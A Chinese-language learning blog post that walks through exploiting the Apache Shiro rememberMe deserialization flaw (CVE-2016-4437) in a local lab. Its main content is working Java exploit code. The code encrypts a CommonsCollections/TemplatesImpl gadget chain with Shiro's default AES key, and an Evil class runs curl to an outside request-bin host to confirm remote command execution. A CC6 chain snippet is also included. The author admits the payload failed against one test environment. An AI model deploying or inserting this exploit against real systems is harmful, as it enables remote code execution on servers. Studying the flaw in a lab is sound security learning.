记Shiro反序列化学习(一)

前言:

调了几条CC链,目前还差CC4这条关键链子就圆满了,不过缓缓,咱学学一些具体的反序列化场景,比如,老生常谈的Shiro反序列化漏洞。
对于这个漏洞,我们需要知道的是,了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在CookierememberMe字段中,由于Shiro在处理Cookie时,会对其中的rememberMe字段解密并反序列化,而我们能控制这个字段的内容,如果知道key,可以伪造,那么可以实现反序列化漏洞用我们的gadget链,拿到shell
而在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

环境搭建:

Shirodemo

具体代码可以在
Shirodemo下载
打包成war包即可

Tomcat

这也是我第一次配置tomcat,绕了点弯路,但是总体是顺利的
1、Tomcat下载
2、解压到指定目录(自定义)
3、配置环境变量
我开始用Tomcat10,但是启动闪退,发现是jdk问题,因此改成jdk11,又因为看logs发现Shirodemo无法在tomcat10运行,当然看报错改源码就行了,不过这里选择直接换成Tomcat9,后来用Tomcat9就正常了
jdk就不说了
新建系统变量,变量名为 CATALINA_HOME,变量值为刚才安装Tomcat的路径
修改系统变量的path变量,在系统变量栏里找到path,双击打开,选择新建,值为 %CATALINA_HOME%\bin,点击确定
4、启动tomcat
点击bin目录下的startup.bat启动tomcat
5、访问http://localhost:8080/,看到tomcat的欢迎页成功
6、部署war包
将war包复制到webapps目录下
7、访问http://localhost:8080/shirodemo

漏洞利用

攻击过程如下:

  1. 使用以前学过的CommonsCollections利用链生成一个序列化Payload
  2. 使用Shiro默认Key进行加密
  3. 将密文作为rememberMe的Cookie发送给服务端
  4. 服务端收到Cookie后,解密并反序列化,触发反序列化漏洞
  5. 成功getshell

我们抓包看看请求包的样子

登录成功给我们生成了个Cookie
当然关键还是在这个gadget链的生成

生成gadget链

先试试最后成功的payload
使用了javassist工具(第三方工具类,把恶意类字节码加载进TemplatesImpl),并在CC6中把payload中的 数组去除掉了
具体代码实现如下

Client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;

public class Client0 {
public static void main(String []args) throws Exception {


ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(com.example.Evil.class.getName());
byte[] payloads = new
CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key =
java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
String rememberMe=ciphertext.toBase64();
System.out.printf(rememberMe);
FileOutputStream fos = new FileOutputStream("ser.bin");
fos.write(rememberMe.getBytes());
// ===============================
// 模拟服务端反序列化流程
// ===============================

// 4. Base64 解码 + AES 解密
ByteSource decrypted = aes.decrypt(
java.util.Base64.getDecoder().decode(rememberMe), key);
byte[] objBytes = decrypted.getBytes();

// // 5. Java 反序列化
System.out.println("[+] Start unserialize...");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(objBytes));
Object obj = ois.readObject();
ois.close();
//
System.out.println("[+] Unserialize finished, object=" + obj.getClass().getName());
}
}

在用默认密钥生成base64编码基础上,又实现了一个指定解码本地并反序列化功能,确保我们前段payload功能正常

Evil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public Evil() {
super();
try {
Runtime.getRuntime().exec("curl http://requestbin.cn:80/wtyenvwt");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

这里CommonsCollectionsShiro类先不亮出来卖个关子
尝试运行Client.java
得到paylaod

1
z5if+JddXoi9xdzt80pQLE/Y7dwYuE......

看到第一条出网记录,说明命令执行正常
抓包,改rememberMe
发现并无记录,payload没问题,怀疑是环境错了
这里选择换成vulhub
/vulhub/shiro/CVE-2010-3863
等待环境配置…
趁这个去看看新链的构造
注意到它处理数组的方式
利用到了TemplatesImpl类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);//防止运行时执行命令

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");//同上

最关键的还是如何用InvokerTransformer类执行这个TemplatesImpl类的newTransformer方法
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
回顾一下TieMapEntry这个CC6的关键类

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

以往我们不在乎这个key的,并且为了防止生成过程中造成阻碍,我们需要在最后remove它
但是现在,我们需要这个key
可以实现一种效果,类似ConstantTrasnformer类返回TemplateImpl的对象

1
2
3
4
5
在ysoserial的利用链中,关于transform函数接收的input存在两种情况。
1.配合ChainedTransformer
InvokerTransformer往往同ChainedTransformer配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。
2.无意义的String
这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant

这样可以绕过数组了
之前用remove,现在用clear,这点不太明白,等学完CC链回头看看
有点炸裂了,搭好之后payload没反应,算了,payload逻辑就是这样
这样处理和前面很适配

Shiro反序列化工具


还是非常好用的()
这里也推荐一个工具
ysoserial里面很多payload,可以拿来学习

总结

大抵关于CVE-2016-4437就是这样了,java链子学起来还挺有意思的,不嗦了,去调试去了